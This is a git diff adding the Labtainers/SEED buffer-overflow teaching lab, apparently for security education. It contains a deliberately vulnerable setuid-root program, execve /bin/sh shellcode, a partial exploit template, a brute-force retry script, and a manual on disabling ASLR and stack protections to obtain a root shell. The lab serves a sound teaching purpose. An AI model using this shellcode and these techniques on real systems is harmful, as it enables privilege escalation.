AAAAB3NzaC1yc2EAAAADAQABAAABAQDdCDRgXC28D9bgQPy4JpPffIgpy5lcfIlOAcqdVn8+q1BAjzqesyAfl0+XGtdSvR+cr8IRjXOsEhodkMbG8sjrcJ9AZCOxmxIpwdDSs3ec5v7NurRHrXuchnXXzI68Hk9VlGREzxzi/ccW3axXcZYUDQuzKvfx8Pp6hLcrAlJ5BQHL2DNAmIVzvVcxkB+3XW7zK+sfgk42nlZxOnk3YRa/Mz1b7A8WJldNE/uvUxxZN+hDVxfOFqWYfMC0lq/Uhy+0bhqxoR16MlkmNUZd8WZ4nqGeVn+nZZ1FeI3eiH6OIl6Px8otN5s1cmNoJHkophefV2nbQVZSei8ATa98UF5z ubuntu@client diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/server/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/_bin/fixlocal.sh new file mode 100755 index 000000000..960e4cbe2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/_bin/fixlocal.sh @@ -0,0 +1,20 @@ +#!/usr/bin/env bash + +# fixlocal.sh +# +# Usage: fixlocal.sh +# +# Description: +# This file should contain specific fixes that are needed +# for each lab containers +# +# For buffer overflow containers for the student: + +# 1. Remove /bin/sh (default is soft-linked to /bin/dash) +sudo rm -f /bin/sh + +# 2. Re-create /bin/sh (soft-linked to /bin/zsh instead) +sudo ln -s /bin/zsh /bin/sh + +cd $HOME +./compile.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/_bin/precheck.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/_bin/precheck.sh new file mode 100755 index 000000000..cc74496fa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/_bin/precheck.sh @@ -0,0 +1,10 @@ +#!/usr/bin/env bash + +# precheck.sh +# Description: +# This file should contain checks for local settings (such as sysctl) +# specific for each lab. The resulting output will go into the +# precheck.stdout.timestamp file +# +# Get status of kernel.randomize_va_space +sudo sysctl -a | grep kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/call_shellcode.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/call_shellcode.c new file mode 100644 index 000000000..b72456a6d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/call_shellcode.c @@ -0,0 +1,27 @@ +/* call_shellcode.c */ + +/*A program that creates a file containing code for launching shell*/ +#include +#include +#include + +const char code[] = + "\x31\xc0" /* xorl %eax,%eax */ + "\x50" /* pushl %eax */ + "\x68""//sh" /* pushl $0x68732f2f */ + "\x68""/bin" /* pushl $0x6e69622f */ + "\x89\xe3" /* movl %esp,%ebx */ + "\x50" /* pushl %eax */ + "\x53" /* pushl %ebx */ + "\x89\xe1" /* movl %esp,%ecx */ + "\x99" /* cdq */ + "\xb0\x0b" /* movb $0x0b,%al */ + "\xcd\x80" /* int $0x80 */ +; + +int main(int argc, char **argv) +{ + char buf[sizeof(code)]; + strcpy(buf, code); + ((void(*)( ))buf)( ); +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/compile.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/compile.sh new file mode 100755 index 000000000..a4fd83711 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/compile.sh @@ -0,0 +1,23 @@ +#!/bin/bash +# +# Compile programs associated with the SEED Buffer Overflow lab. +# +# +# Example program that transfers execution to its own stack +# to execute shell code. Compile with option to permit execution +# from the stack. +# +gcc -m32 -o call_shellcode -z execstack call_shellcode.c +# +# Program that writes the "bad file". +# This is the program the student modifies to craft the +# bad file to cause the buffer overflow. +# +gcc -m32 -o exploit exploit.c +# +# compile the vulnerable program with no stack protector +# and allow execution from the stack +# +gcc -g -m32 -o stack -fno-stack-protector -z execstack stack.c +sudo chown root:root stack +sudo chmod 4755 stack diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/exploit.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/exploit.c new file mode 100644 index 000000000..d8e49ab4c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/exploit.c @@ -0,0 +1,44 @@ +/* exploit.c */ + +/* A program that creates a file containing code for launching shell*/ + +#include +#include +#include + +char shellcode[]= +"\x31\xc0" /* xorl %eax,%eax */ +"\x50" /* pushl %eax */ +"\x68""//sh" /* pushl $0x68732f2f */ +"\x68""/bin" /* pushl $0x6e69622f */ +"\x89\xe3" /* movl %esp,%ebx */ +"\x50" /* pushl %eax */ +"\x53" /* pushl %ebx */ +"\x89\xe1" /* movl %esp,%ecx */ +"\x99" /* cdql */ +"\xb0\x0b" /* movb $0x0b,%al */ +"\xcd\x80" /* int $0x80 */ +; + +unsigned long get_sp(void) +{ + __asm__("movl %esp,%eax"); +} + +void main(int argc, char **argv) +{ + char buffer[1000]; /* originally 517 in SEED labs */ + FILE *badfile; + +/*--------Initialize buffer with 0x90 (NOP instruction)--------*/ + + memset(buffer, 0x90, sizeof(buffer)); + +/*Add your changes to the buffer here */ + + +/* Save the contents to the file "badfile" */ + badfile = fopen("./badfile", "w"); + fwrite(buffer,1000,1,badfile); /* originally 517 in SEED labs */ + fclose(badfile); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/stack.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/stack.c new file mode 100644 index 000000000..3851b0fa5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/stack.c @@ -0,0 +1,32 @@ +/* stack.c */ + +/* Lab Exercise - Buffer Overflow */ +/* This program has an buffer overflow vulnerability. */ +/* Your task is to exploit this vulnerability */ + +#include +#include +#include +int bof(char *str) +{ + char buffer[BUFFER_SIZE]; /* originally 12 in SEED labs */ + + //BO Vulnerability + strcpy(buffer,str); + + return 1; +} + +int main(int argc, char* argv[]) +{ + char str[1000]; /* originally 517 in SEED labs */ + + FILE *badfile; + badfile = fopen("badfile","r"); + + fread(str, sizeof(char),1000, badfile); /* originally 517 in SEED labs */ + bof(str); + + printf("Returned Properly\n"); + return 1; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/whilebash.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/whilebash.sh new file mode 100755 index 000000000..1aee1e5d0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/whilebash.sh @@ -0,0 +1,24 @@ +#!/bin/bash + +# whilebash.sh +# Description: * simple bash script loop to call vulnerable program +# ./stack (has buffer overflow vulnerability) +# +# Usage: whilebash.sh +# Arguments: +# None + +gotroot=0 +while [ $gotroot -eq 0 ] +do + ./stack + result=$? + # If root privilege is obtained (and properly exited), + # result will be equal to zero here + if [ $result -eq 0 ] + then + #echo "Got root" + gotroot=1 + fi +done + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/config/about.txt new file mode 100644 index 000000000..21617e76c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/config/about.txt @@ -0,0 +1 @@ +An example program vulnerable to a stack buffer overflow. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/config/parameter.config new file mode 100644 index 000000000..91f42318f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/config/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see ..../docs/labdesigner.md + +# Size of the buffer to be overflowed. +rand1 : RAND_REPLACE : /home/ubuntu/stack.c : BUFFER_SIZE : 100 : 500 + +roothash : HASH_REPLACE : /root/.secret : ROOT_SECRET : mysupersecretrootfile +userhash : HASH_REPLACE : /home/ubuntu/.secret : UBUNTU_SECRET : mysupersecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/config/start.config new file mode 100644 index 000000000..5330de3db --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/config/start.config @@ -0,0 +1,19 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER bufoverflow + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED bufoverflow_jean_seed + +# Container nickname and settings +CONTAINER bufoverflow + USER ubuntu + #XTERM INSTRUCTIONS + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/dockerfiles/Dockerfile.bufoverflow.bufoverflow.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/dockerfiles/Dockerfile.bufoverflow.bufoverflow.student new file mode 100644 index 000000000..199cb8c2e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/dockerfiles/Dockerfile.bufoverflow.bufoverflow.student @@ -0,0 +1,27 @@ +ARG registry +FROM $registry/labtainer.base +MAINTAINER jkhosali@nps.edu +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends zsh +RUN echo "# This secret file is generated when container is created" >> /root/.secret +RUN echo "# The root secret string below will be replaced with a keyed hash" >> /root/.secret +RUN echo "My ROOT secret string is: ROOT_SECRET" >> /root/.secret +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +RUN echo "# This secret file is generated when container is created" >> $HOME/.secret +RUN echo "# The user secret string below will be replaced with a keyed hash" >> $HOME/.secret +RUN echo "My Ubuntu secret string is: UBUNTU_SECRET" >> $HOME/.secret +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Buffer_Overflow.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Buffer_Overflow.tex new file mode 100644 index 000000000..8736ef660 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Buffer_Overflow.tex @@ -0,0 +1,515 @@ +\input{header} + +%\documentclass{article} +%\usepackage{graphicx} +%\usepackage{color} +%\usepackage[latin1]{inputenc} +%\usepackage{lgrind} +%\input {highlight.sty} + + +\lhead{\bfseries SEED Labs -- Buffer Overflow Vulnerability Lab} + +\def \code#1 {\fbox{\scriptsize{\texttt{#1}}}} + +\begin{document} + +\begin{center} +{\LARGE Buffer Overflow Vulnerability Lab} +\end{center} + +\copyrightnotice + +\section{Lab Overview} + +The learning objective of this lab is for students to gain the first-hand +experience on buffer-overflow vulnerability by putting what they have learned +about the vulnerability from class into action. +Buffer overflow is defined as the condition in which a program attempts to +write data beyond the boundaries of pre-allocated fixed length buffers. This +vulnerability can be utilized by a malicious user to alter the flow control of +the program, even execute arbitrary pieces of code. This vulnerability arises +due to the mixing of the storage for data (e.g. buffers) and the +storage for controls (e.g. return addresses): an overflow in the data part can +affect the control flow of the program, because an overflow can +change the return address. + +In this lab, students will be given a program with a buffer-overflow +vulnerability; their task is to develop a scheme to exploit +the vulnerability and finally gain the root privilege. In addition to the +attacks, students will be guided to walk through several protection +schemes that have been implemented in the operating system to counter against the +buffer-overflow attacks. Students need to evaluate +whether the schemes work or not and explain why. + + +\section{Lab Tasks} + +\subsection{Initial setup} +The lab is started from the Labtainer working +directory on your Docker-enabled host, e.g., a Linux VM. +From there, issue the command: +\begin{verbatim} + labtainer bufoverflow +\end{verbatim} + +The resulting virtual terminals will include a +bash shell. The programs +described below will be in your home directory. + +\paragraph{Address Space Randomization.} +Several Linux-based systems uses address space +randomization to randomize the starting address of heap and +stack. This makes guessing the exact addresses difficult; guessing +addresses is one of the critical steps of buffer-overflow attacks. In +this lab, we disable these features using the following commands: + +\begin{verbatim} + sudo sysctl -w kernel.randomize_va_space=0 +\end{verbatim} + + +\paragraph{The StackGuard Protection Scheme.} +The GCC compiler implements a security mechanism called +"Stack Guard" to prevent buffer overflows. In the presence of this +protection, buffer overflow will not work. You can disable this +protection if you compile the program using the +\emph{-fno-stack-protector} switch. For example, to compile a program +example.c with Stack Guard disabled, you may use the following command: +\begin{verbatim} + $ gcc -m32 -fno-stack-protector example.c +\end{verbatim} +\noindent Note we use the "-m32" switch to create 32 bit executables, which +are required for this lab. + +\paragraph{Non-Executable Stack.} \ubuntu used to allow executable stacks, but +this has now changed: the binary images of programs (and shared libraries) +must declare whether they require executable stacks or not, i.e., they need to +mark a field in the program header. Kernel or dynamic linker uses this marking +to decide whether to make the stack of this running program executable or +non-executable. This marking is done automatically by the +recent versions of {\tt gcc}, and by default, the stack is set to +be non-executable. To change that, use the following option when compiling +programs: +\begin{verbatim} + For executable stack: + $ gcc -m32 -z execstack -o test test.c + + For non-executable stack: + $ gcc -m32 -z noexecstack -o test test.c +\end{verbatim} + + + +\subsection{Shellcode} +Before you start the attack, you need a shellcode. A shellcode is the code to +launch a shell. It has to be loaded into the memory so that we can force the +vulnerable program to jump to it. Consider the following program: + +\begin{verbatim} +#include + +int main( ) { + char *name[2]; + + name[0] = ``/bin/sh''; + name[1] = NULL; + execve(name[0], name, NULL); +} +\end{verbatim} + + +The shellcode that we use is just the assembly version of the above program. +The following program shows you how to launch a shell by executing +a shellcode stored in a buffer. +Please compile and run the following code, and see whether a +shell is invoked. + +\begin{verbatim} +/* call_shellcode.c */ + +/*A program that creates a file containing code for launching shell*/ +#include +#include +#include + +const char code[] = + "\x31\xc0" /* Line 1: xorl %eax,%eax */ + "\x50" /* Line 2: pushl %eax */ + "\x68""//sh" /* Line 3: pushl $0x68732f2f */ + "\x68""/bin" /* Line 4: pushl $0x6e69622f */ + "\x89\xe3" /* Line 5: movl %esp,%ebx */ + "\x50" /* Line 6: pushl %eax */ + "\x53" /* Line 7: pushl %ebx */ + "\x89\xe1" /* Line 8: movl %esp,%ecx */ + "\x99" /* Line 9: cdq */ + "\xb0\x0b" /* Line 10: movb $0x0b,%al */ + "\xcd\x80" /* Line 11: int $0x80 */ +; + +int main(int argc, char **argv) +{ + char buf[sizeof(code)]; + strcpy(buf, code); + ((void(*)( ))buf)( ); +} +\end{verbatim} +\textbf{Note:} In this lab we have relaced the {\tt bin/sh} program +with an older insecure shell that will inherit the setuid permissions +assocated with the {\tt stack} program. Modern shells will use the +process real uid as their effective id, thereby making it more difficult +to obtain root shells from setuid programs. +However, more sophisticated shell code can run the following program to +turn the real user id to {\tt root}. This way, you would have a real {\tt root} process. +\begin{verbatim} + void main() + { + setuid(0); system("/bin/sh"); + } +\end{verbatim} +\noindent For this lab, we'll use the simpler shell code and and insecure /bin/sh program. + +Please use the following command to compile the code (don't forget the +{\tt execstack} option): + +\begin{verbatim} + $ gcc -m32 -z execstack -o call_shellcode call_shellcode.c +\end{verbatim} + + +A few places in this shellcode are worth mentioning. First, +the third instruction pushes ``//sh'', rather than ``/sh'' into the +stack. This is because we need a 32-bit number here, and ``/sh'' +has only 24 bits. Fortunately, ``//'' is equivalent to ``/'', so we can get +away with a double slash symbol. Second, before calling the {\tt execve()} +system call, we need to store {\tt name[0]} (the address of the string), +{\tt name} (the address of the array), and {\tt NULL} to +the {\tt \%ebx}, {\tt \%ecx}, and {\tt \%edx} registers, respectively. +Line 5 stores {\tt name[0]} to {\tt \%ebx}; +Line 8 stores {\tt name} to {\tt \%ecx}; +Line 9 sets {\tt \%edx} to zero. There are other ways to set {\tt \%edx} +to zero (e.g., {\tt xorl \%edx, \%edx}); the one ({\tt cdq}) used here +is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX +register (which is 0 at this point) into every bit position in the EDX +register, basically setting {\tt \%edx} to 0. +Third, the system call {\tt execve()} is called when we set {\tt \%al} to +11, and execute ``{\tt int \$0x80}''. + +\subsection{The Vulnerable Program} + +\begin{verbatim} +/* stack.c */ + +/* This program has a buffer overflow vulnerability. */ +/* Our task is to exploit this vulnerability */ +#include +#include +#include + +int bof(char *str) +{ + char buffer[24]; + + /* The following statement has a buffer overflow problem */ + strcpy(buffer, str); + + return 1; +} + +int main(int argc, char **argv) +{ + char str[517]; + FILE *badfile; + + badfile = fopen("badfile", "r"); + fread(str, sizeof(char), 517, badfile); + bof(str); + printf("Returned Properly\n"); + return 1; +} +\end{verbatim} + +Compile the above vulnerable program and make it set-root-uid. You +can achieve this by compiling it in the {\tt root} account, and +{\tt chmod} the executable to {\tt 4755} (don't forget to include the {\tt +execstack} and {\tt -fno-stack-protector} options to turn off +the non-executable stack and StackGuard protections): + +\begin{verbatim} + $ sudo su + # gcc -m32 -o stack -z execstack -fno-stack-protector stack.c + # chmod 4755 stack + # exit +\end{verbatim} + + + +The above program has a buffer overflow vulnerability. It first +reads an input from a file called ``badfile'', and then passes this +input to another buffer in the function {\tt bof()}. The +original input can have a maximum length of 517 bytes, but the buffer +in {\tt bof()} has only 12 bytes long. Because {\tt strcpy()} does not check +boundaries, buffer overflow will occur. +Since this program is a set-root-uid program, if a normal user can exploit +this buffer overflow vulnerability, the normal user might be +able to get a root shell. +It should be noted that +the program gets its input from a file called ``badfile''. This file +is under users' control. Now, our objective is to +create the contents for ``badfile'', such that when the vulnerable program +copies the contents into its buffer, a root shell can be spawned. + + + +\subsection{Task 1: Exploiting the Vulnerability} + +We provide you with a partially completed exploit code called +``exploit.c''. The goal of this code is to construct contents +for ``badfile''. In this code, the shellcode is given to you. +You need to develop the rest. + + +\begin{verbatim} +/* exploit.c */ + +/* A program that creates a file containing code for launching shell*/ +#include +#include +#include +char shellcode[]= + "\x31\xc0" /* xorl %eax,%eax */ + "\x50" /* pushl %eax */ + "\x68""//sh" /* pushl $0x68732f2f */ + "\x68""/bin" /* pushl $0x6e69622f */ + "\x89\xe3" /* movl %esp,%ebx */ + "\x50" /* pushl %eax */ + "\x53" /* pushl %ebx */ + "\x89\xe1" /* movl %esp,%ecx */ + "\x99" /* cdq */ + "\xb0\x0b" /* movb $0x0b,%al */ + "\xcd\x80" /* int $0x80 */ +; + +void main(int argc, char **argv) +{ + char buffer[517]; + FILE *badfile; + + /* Initialize buffer with 0x90 (NOP instruction) */ + memset(&buffer, 0x90, 517); + + /* You need to fill the buffer with appropriate contents here */ + + /* Save the contents to the file "badfile" */ + badfile = fopen("./badfile", "w"); + fwrite(buffer, 517, 1, badfile); + fclose(badfile); +} + +\end{verbatim} + +After you finish the above program, compile and run it. This will generate +the contents for ``badfile''. Then run the vulnerable +program {\tt stack}. If your exploit is implemented correctly, you should +be able to get a root shell: + +\paragraph{Important:} Please compile your vulnerable program +first. Please note that the program exploit.c, which generates the bad +file, can be compiled with the default Stack Guard protection +enabled. This is because we are not going to overflow the buffer in +this program. We will be overflowing the buffer in stack.c, which is +compiled with the Stack Guard protection disabled. + +\begin{verbatim} + $ gcc -o exploit exploit.c + $./exploit // create the badfile + $./stack // launch the attack by running the vulnerable program + # <---- Bingo! You've got a root shell! +\end{verbatim} +While in the root shell, you are required to display the content of a secret file: +\begin{verbatim} + cat /root/.secret +\end{verbatim} + +It should be noted that although you have obtained the ``\#'' prompt, +your real user id is still yourself (the effective user id is now +root). You can check this by typing the following: +\begin{verbatim} + # id + uid=(500) euid=0(root) +\end{verbatim} + +\subsection{Task 2: Address Randomization} + +Now, we turn on the Ubuntu's address randomization. We run the same attack +developed in Task 1. Can you get a shell? If not, what is the problem? +How does the address randomization make your attacks difficult? +You should describe your observation and explanation +in your lab report. You can use the following instructions to turn +on the address randomization: + +\begin{verbatim} + sudo /sbin/sysctl -w kernel.randomize_va_space=2 +\end{verbatim} + + +If running the vulnerable code once does not get you the root shell, how +about running it for many times? You can run {\tt ./stack} +using the whilebash.sh script, and see what will happen. If your exploit +program is designed properly, you should be able to get the root shell +after a while. You can modify your exploit program to increase the +probability of success (i.e., reduce the time that you have to wait). +After getting a root shell, display the secret file (this is required): +\begin{verbatim} + cat /root/.secret +\end{verbatim} + +\subsection{Task 3: Stack Guard} + +Before working on this task, remember to turn off the address +randomization first, or you will not know which protection helps +achieve the protection. + +In our previous tasks, we disabled the ``Stack Guard'' protection mechanism in GCC +when compiling the programs. In this task, you may consider repeating +task 1 in the presence of Stack Guard. To do that, you should compile +the program without the \emph{-fno-stack-protector'} option. For this +task, you will recompile the vulnerable program, stack.c, to use GCC's +Stack Guard, execute task 1 again, and report your observations. You +may report any error messages you observe. + +In the GCC 4.3.3 and newer versions, Stack Guard is enabled by +default. Therefore, you have to disable Stack Guard using the switch +mentioned before. In earlier versions, it was disabled by default. If +you use a older GCC version, you may not have to disable Stack Guard. + +\subsection{Task 4: Non-executable Stack} + +Before working on this task, remember to turn off the address +randomization first, or you will not know which protection helps +achieve the protection. + +In our previous tasks, we intentionally make stacks executable. +In this task, we recompile our vulnerable program +using the {\tt noexecstack} option, and repeat the attack in +Task 1. Can you get a shell? If not, what is the problem? How does +this protection scheme make your attacks difficult. +You should describe your observation and explanation +in your lab report. You can use the following instructions to turn +on the non-executable stack protection. + +\begin{verbatim} + # gcc -m32 -o stack -fno-stack-protector -z noexecstack stack.c +\end{verbatim} + + +It should be noted that non-executable stack only makes it impossible to run shellcode +on the stack, but it does not prevent buffer-overflow attacks, +because there are other ways to run malicious code after exploiting +a buffer-overflow vulnerability. The {\em return-to-libc} attack +is an example. We have designed a seperate lab for that +attack. If you are interested, please see the +Return-to-Libc Attack Lab for details. + + + +\section{Guidelines} + +We can load the shellcode into ``badfile'', but it will not be executed because our +instruction pointer will not be pointing to it. One thing we can do is to change +the return address to point to the shellcode. But we have two problems: +(1) we do not know where the return address is stored, and +(2) we do not know where the shellcode is stored. +To answer these questions, we need to understand the stack layout the +execution enters a function. The following figure gives +an example. + + +\hspace{-0.5in} +\includegraphics*[viewport=40 480 595 700,width=6.5in,natwidth=621,natheight=403]{Figs/buffer_overflow_stack_example1.pdf} + + +\paragraph{Finding the address of the memory that stores the return address.} +From the figure, we know, if we can find out the address of {\tt buffer[]} array, +we can calculate where the return address is stored. +Since the vulnerable program is a \setuid program, you can make a copy of this program, +and run it with your own privilege; this way you can debug the program (note that +you cannot debug a \setuid program). In the debugger, you can figure out +the address of {\tt buffer[]}, and thus calculate the starting point of +the malicious code. You can even modify the copied program, and ask the +program to directly print out the address of {\tt buffer[]}. +The address of {\tt buffer[]} may be slightly +different when you run the \setuid copy, instead of of your copy, but +you should be quite close. + + +If the target program is running remotely, and you may not be able to +rely on the debugger to find out the address. However, you can always +{\em guess}. The following facts make guessing a quite feasible approach: + \begin{itemize} + \item Stack usually starts at the same address. + \item Stack is usually not very deep: most programs do not push more than + a few hundred or a few thousand bytes into the stack at any one time. + \item Therefore the range of addresses that we need to guess is actually + quite small. + \end{itemize} + + + +\paragraph{Finding the starting point of the malicious code.} +If you can accurately calculate the address of {\tt buffer[]}, you should be +able to accurately calcuate the starting point of the malicious code. +Even if you cannot accurately calculate the address (for example, for remote programs), +you can still guess. To improve the chance of success, we can add a +number of NOPs to the beginning of the malcious code; therefore, if we +can jump to any of these NOPs, we can eventually get to the +malicious code. The following figure depicts the attack. + + +\begin{center} +\includegraphics*[viewport=0.25in 5.2in 8.30in 10.55in,width=4.0in,natwidth=621,natheight=403]{Figs/buffer_overflow_jump_to_malicious_code.pdf} +\end{center} + + +\paragraph{Storing an long integer in a buffer:} +In your exploit program, you might need to store an {\tt long} +integer (4 bytes) into an buffer starting at buffer[i]. +Since each buffer space is one byte long, +the integer will actually occupy four bytes starting at buffer[i] (i.e., +buffer[i] to buffer[i+3]). Because buffer and long are of different +types, you cannot directly assign the integer to buffer; instead you can +cast the buffer+i into an {\tt long} pointer, and then assign the integer. The +following code shows how to assign an {\tt long} integer to a buffer +starting at buffer[i]: +\begin{verbatim} + char buffer[20]; + long addr = 0xFFEEDD88; + + long *ptr = (long *) (buffer + i); + *ptr = addr; +\end{verbatim} + +\section{Submission} +When the lab is completed, or you'd like to stop working for a while, run +\begin{verbatim} + stoplab +\end{verbatim} + +\noindent from the host Labtainer working directory. You can always restart the +Labtainer to continue your work. When the lab is stopped, a +zip file is created and copied to a location displayed by the stoplab +command. When the lab is completed, send that zip file to the instructor, +or submit it via Sakai. + + +\begin{thebibliography}{10} + +\bibitem{alephone} +Aleph One. +\newblock Smashing The Stack For Fun And Profit. +\newblock {\em Phrack 49}, Volume 7, Issue 49. Available at + http://www.cs.wright.edu/people/faculty/tkprasad/courses/cs781/alephOne.html +\end{thebibliography} + + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Figs/buffer_overflow_jump_to_malicious_code.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Figs/buffer_overflow_jump_to_malicious_code.pdf new file mode 100755 index 000000000..4b5087237 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Figs/buffer_overflow_jump_to_malicious_code.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Figs/buffer_overflow_stack_example1.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Figs/buffer_overflow_stack_example1.pdf new file mode 100755 index 000000000..9fd6211db Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Figs/buffer_overflow_stack_example1.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Makefile new file mode 100644 index 000000000..c1eb7a747 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Makefile @@ -0,0 +1,8 @@ +bufoverflow.pdf: Buffer_Overflow.tex header.tex + latex Buffer_Overflow + pdflatex -jobname=bufoverflow Buffer_Overflow + pdflatex -jobname=bufoverflow Buffer_Overflow + +clean: + rm -fr auto + rm -f Buffer_Overflow.aux Buffer_Overflow.log Buffer_Overflow.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/header.tex new file mode 100644 index 000000000..417018739 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/header.tex @@ -0,0 +1,202 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} + +\usepackage{subfigure} +\usepackage{cite} +%\usepackage{cases} +%\usepackage{ltexpprt} +%\usepackage{verbatim} + +%\topmargin -0.70in % distance to headers +%\headheight 0.2in % height of header box +%\headsep 0.4in % distance to top line +%\footskip 0.3in % distance from bottom line + +% Horizontal alignment +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} 